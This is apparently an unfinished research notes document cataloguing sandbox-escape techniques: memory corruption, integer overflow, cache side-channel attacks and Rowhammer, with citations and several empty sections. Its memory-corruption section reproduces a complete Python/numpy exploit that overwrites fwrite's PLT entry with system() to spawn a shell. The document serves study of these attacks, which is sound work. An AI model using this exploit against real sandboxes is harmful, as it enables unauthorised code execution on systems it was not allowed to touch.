

Exploits - Corpus



[Datum]

[Firmenname]

[Firmenadresse]

Inhalt

[Memory Corruption Bugs 2](#_Toc58164464)

[Buffer Overflow 3](#_Toc58164465)

[Shared Memory Segments 4](#_Toc58164466)

[Rowhammer 5](#_Toc58164467)

[Heap-based ‘jump-to-libc’ 6](#_Toc58164468)

[Incorrect argument-string parsing 7](#_Toc58164469)

[Bit Flips 8](#_Toc58164470)

[Pointer Subterfuges 9](#_Toc58164471)

[Format string attacks 10](#_Toc58164472)

# Memory Corruption Bugs

## Memory Corruption

The lack of built-in memory safety in programming languages like C and C++ led to memory corruption vulnerabilities. Due to these vulnerabilities’ attackers may perform arbitrary writes to memory. Such writes may manipulate control-flow information on stack/heap or so-called non-control data. (Control flow: order in which individual statements, instructions, function calls of an imperative program are executed or evaluated. Source: <https://en.wikipedia.org/wiki/Control_flow>). An attacker may also influence the execution flow and eventually execute a malicious sequence of instructions. [1].

Exploiting a memory corruption bug means that the attacker may modify the content of a memory location exceeding the originally planned space leading the program to crash or perform unexcepted behavior. In the case of exploiting memory corruption in a sandbox the attacker may gain control of the system by being able to call restricted system() functions.

Python modules are often thin wrappers of mountainous C code bases. Exploiting memory corruption bugs may lead to an escape from the sandbox. [2]

Examples of wrapped functions are pythons resize (realloc) and print (fwrite). [2]

## Execution

1. Find a whitelisted module with a known memory corruption vulnerability
2. Exploit this vulnerability by modifying content of a memory location
3. Perform arbitrary read/write operations to gain control over the system

## Example (seems like return-to-libc exploit)

|  |
| --- |
| import numpy as np |
|  |  |
|  | # addr\_to\_str is a quick and dirty replacement for struct.pack(), needed |
|  | # for sandbox environments that block the struct module. |
|  | def addr\_to\_str(addr): |
|  | addr\_str = "%016x" % (addr) |
|  | ret = str() |
|  | for i in range(16, 0, -2): |
|  | ret = ret + addr\_str[i-2:i].decode('hex') |
|  | return ret |
|  |  |
|  | # read\_address and write\_address use overflown numpy arrays to search for |
|  | # bytearray objects we've sprayed on the heap, represented as a PyByteArray |
|  | # structure: |
|  | # |
|  | # struct PyByteArray { |
|  | # Py\_ssize\_t ob\_refcnt; |
|  | # struct \_typeobject \*ob\_type; |
|  | # Py\_ssize\_t ob\_size; |
|  | # int ob\_exports; |
|  | # Py\_ssize\_t ob\_alloc; |
|  | # char \*ob\_bytes; |
|  | # }; |
|  | # |
|  | # Once located, the pointer to actual data `ob\_bytes` is overwritten with the |
|  | # address that we want to read or write. We then cycle through the list of byte |
|  | # arrays until we find the one that has been corrupted. This bytearray is used |
|  | # to read or write the desired location. Finally, we clean up by setting |
|  | # `ob\_bytes` back to its original value. |
|  | def find\_address(addr, data=None): |
|  | i = 0 |
|  | j = -1 |
|  | k = 0 |
|  |  |
|  | if data: |
|  | size = 0x102 |
|  | else: |
|  | size = 0x103 |
|  | for k, arr in enumerate(arrays): |
|  | i = 0 |
|  | for i in range(0x2000): # 0x2000 is a value that happens to work |
|  | # Here we search for the signature of a PyByteArray structure |
|  | j = arr[0][i].find(addr\_to\_str(0x1)) # ob\_refcnt |
|  | if (j < 0 or |
|  | arr[0][i][j+0x10:j+0x18] != addr\_to\_str(size) or # ob\_size |
|  | arr[0][i][j+0x20:j+0x28] != addr\_to\_str(size+1)): # ob\_alloc |
|  | continue |
|  | idx\_bytes = j+0x28 # ob\_bytes |
|  |  |
|  | # Save an unclobbered copy of the bytearray metadata |
|  | saved\_metadata = arrays[k][0][i] |
|  |  |
|  | # Overwrite the ob\_bytes pointer with the provded address |
|  | addr\_string = addr\_to\_str(addr) |
|  | new\_metadata = (saved\_metadata[0:idx\_bytes] + |
|  | addr\_string + |
|  | saved\_metadata[idx\_bytes+8:]) |
|  | arrays[k][0][i] = new\_metadata |
|  |  |
|  | ret = None |
|  | for bytearray\_ in bytearrays: |
|  | try: |
|  | # We differentiate the signature by size for each |
|  | # find\_address invocation because we don't want to |
|  | # accidentally clobber the wrong bytearray structure. |
|  | # We know we've hit the structure we're looking for if |
|  | # the size matches and it contents do not equal 'XXXXXXXX' |
|  | if len(bytearray\_) == size and bytearray\_[0:8] != 'XXXXXXXX': |
|  | if data: |
|  | bytearray\_[0:8] = data # write memory |
|  | else: |
|  | ret = bytearray\_[0:8] # read memory |
|  |  |
|  | # restore the original PyByteArray->ob\_bytes |
|  | arrays[k][0][i] = saved\_metadata |
|  | return ret |
|  | except: |
|  | pass |
|  | raise Exception("Failed to find address %x" % addr) |
|  |  |
|  | def read\_address(addr): |
|  | return find\_address(addr) |
|  |  |
|  | def write\_address(addr, data): |
|  | find\_address(addr, data) |
|  |  |
|  |  |
|  | # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These |
|  | # addresses are static for a given Python binary when compiled without -fPIE. |
|  | # You can obtain them yourself with the following command: |
|  | # `readelf -a /path/to/python/ | grep -E '(system|fwrite)' |
|  | SYSTEM = 0x8eb278 |
|  | FWRITE = 0x8eb810 |
|  |  |
|  | # Spray the heap with some bytearrays and overflown numpy arrays. |
|  | arrays = [] |
|  | bytearrays = [] |
|  | for i in range(100): |
|  | arrays.append(np.array('A'\*0x100)) |
|  | arrays[-1].resize(0x1000, 0x100000000000001) |
|  | bytearrays.append(bytearray('X'\*0x102)) |
|  | bytearrays.append(bytearray('X'\*0x103)) |
|  |  |
|  | # Read the address of system() and write it to fwrite()'s PLT entry. |
|  | data = read\_address(SYSTEM) |
|  | write\_address(FWRITE, data) |
|  |  |
|  | # print() will now call system() with whatever string you pass |
|  | print "PS1='[HACKED] $ ' /bin/sh" |

The exploit above gains access to a hacked shell by writing the address of system() to fwrite()’s PLT entry. The print function of python calls fwrite() which is overridden by system(). Calling print() with the parameter ‘/bin/sh’ results in the call system(‘/bin/sh’) opening a shell in the OS.

## Prevention

Data-execution prevention prevents malicious code injections in data memory but may be bypassed by means of return-oriented programming (ROP) where only code residing in memory will be reused.

Control flow integrity (CFI) + Control flow graphs (CFG) as another prevention method but CFG over-approximation opens door for subtle ROP attacks.

# Buffer Overflow (maybe same as memory corruption bugs)

## Definition

A buffer overflow occurs when data written into buffer leads to overrunning the buffers boundaries. Overflowing a buffer may cause memory corruption leading to unexpected program behavior.

## Execution

1. Integer Overflow [6]
   1. Addition: Adding two numbers with the same sign and negative result
      1. Example: ‘signed integers: 0x7fffffff + 0x1 → 0x8000000 which is not representable with signed integers → result is -2147483648 + overflow occurred’
      2. Example: ‘unsigned integers: 0xffffffff + 0x1 → 0x100000000 → result is 0 + overflow occurred’
   2. Subtraction: Subtracting two numbers with different signs and positive result
   3. Multiplication: Result is bigger than max possible value (e.g. signed integer: result > 2147483648)

## Prevention

Checking data written into the buffer may prevent buffer overflows

# Shared Memory Segments / Cache Attacks

## Cache Attacks

Cache attacks consist of exploiting the use of cache memory as a shared resource between different processes to disclose information. [4]

## Cache

Cache memory contains a subset of RAMs contents recently accessed by the CPU and it is typically arranged in a cache hierarchy. There are three different level of caches. The L1 cache, which is the smallest but fastest, followed by the L2 cache being slightly larger and the L3 cache the largest one which is connected to the ram. Whenever the CPU accesses physical memory, the respective address is first searched in the cache history. If the CPU requires an element not in the cache an event known as the ‘cache miss’ is triggered. As a result, to this event, an element is evicted from the cache to make room for the new element. The decision which element will be removed is determined by a heuristic algorithm depending on the processor generation. [4]

Intels cache micro-architecture is inclusive. This means that elements in the L1 cache exist in L2 and L3 caches. Evicting an element from the L3 cache evicts it from L2 and L1 also. In contrast to that stands AMDs architecture where the cache is exclusive. [4]

The L3 cache, also called last-level cache (LLC), is shared among all cores, threads and processes regardless of the protection rings or isolation mechanisms. [4]

On Intels architecture the LLC is divided into cache slices where each core is connected to one slice but has access to every other slice. These slices are further divided into cache sets where each one is covering a subset of physical address space. Each cache set contains several cache lines.

## Execution

1. Flush + Reload Attack [5]
   1. Flush: flush specific shared cache line by using cflush instruction
   2. Idle: wait for predetermined amount of time while victim is executing sensitive operations
   3. Reload: reload cache line from shared memory (by using reload time difference, attacker is able to infer victims access pattern for sensitive data from LLC cache lines
      1. Took too long to reload cache line: victim did not access sensitive data in shared page
      2. Took short time: shared cache line filled with victims data
2. Flush + Flush Attack (attack uses time difference between two cflush instructions instead of time difference between cache hits/misses) [5]
   1. Flush: same as above
   2. Idle: same as above
   3. Flush: attacker measures execution time of cflush instructions
      1. Took too long: implying victim accessed probing cache line
      2. Took short time: Victim did not access probing cache line
3. Prime + Probe Attack (aims at LLC set; attacker does not need to prepare shared memory; targets cache set; attacker needs to create eviction\_set sharing a cache set between attacker and victim in order to make a shared cache set)
   1. Prime: attacker fills cache sets with data
   2. Idle: wait for predetermined amount of time while victim is executing sensitive operations
   3. Probe: probe caches sets with prepared data + measure probing time
      1. Took to long or eviction\_set is changed: implying victim accessed cache set while evicting some cache lines of cache sets

# Rowhammer

## DRAM

DRAM is organized as a 2D array of cells. Rows and columns are used for addressing a cell. For each cell the state of its capacitor (charged or uncharged) is used to denote a single bit of stored value. Accessing a cell needs its row to be activated in order to be copied to a row buffer. The repeating activation of a row can cause cells at adjacent rows to be discharged at faster rate. A bit is flipped if a cell state changes from charged to uncharged before it is refreshed. [3]

## Non-temporal instructions (maybe unnecessary because current sandbox has no additional defense layer)

## Definition (also called DRAM disturbance error)

Rowhammer attacks performed by reliably and repeatedly activating DRAM rows causing bit flips in adjacent rows. The key for these attacks is to repeatedly activate a row rather than accessing it. These bitflips can lead to a sandbox escape. [3]

## Execution

1. Pick addresses for memory access (addresses in same DRAM bank)
2. Repeatedly activate these addresses to cause a bit flip

## Example → https://github.com/vusec/hammertime

# Heap-based ‘return-to-libc’

# Incorrect argument-string parsing

# Bit Flips

# Pointer Subterfuges

# Format string attacks

# Literaturverzeichnis

[1] Cloosters, T., Rodler, M., & Davi, L. (2020). TeeRex: Discovery and Exploitation of Memory Corruption Vulnerabilities in {SGX} Enclaves. In *29th {USENIX} Security Symposium ({USENIX} Security 20)* (pp. 841-858).

[2] <https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5>

[3] Qiao, R., & Seaborn, M. (2016, May). A new approach for rowhammer attacks. In *2016 IEEE international symposium on hardware oriented security and trust (HOST)* (pp. 161-166). IEEE.

[4] Oren, Y., Kemerlis, V. P., Sethumadhavan, S., & Keromytis, A. D. (2015, October). The spy in the sandbox: Practical cache attacks in javascript and their implications. In *Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security* (pp. 1406-1418).

[5] Cho, J., Kim, T., Kim, S., Im, M., Kim, T., & Shin, Y. (2020). Real-Time Detection for Cache Side Channel Attack using Performance Counter Monitor. *Applied Sciences*, *10*(3), 984.

[6] https://medium.com/@nikhilh20/integer-overflow-vulnerability-20f9ea48aff9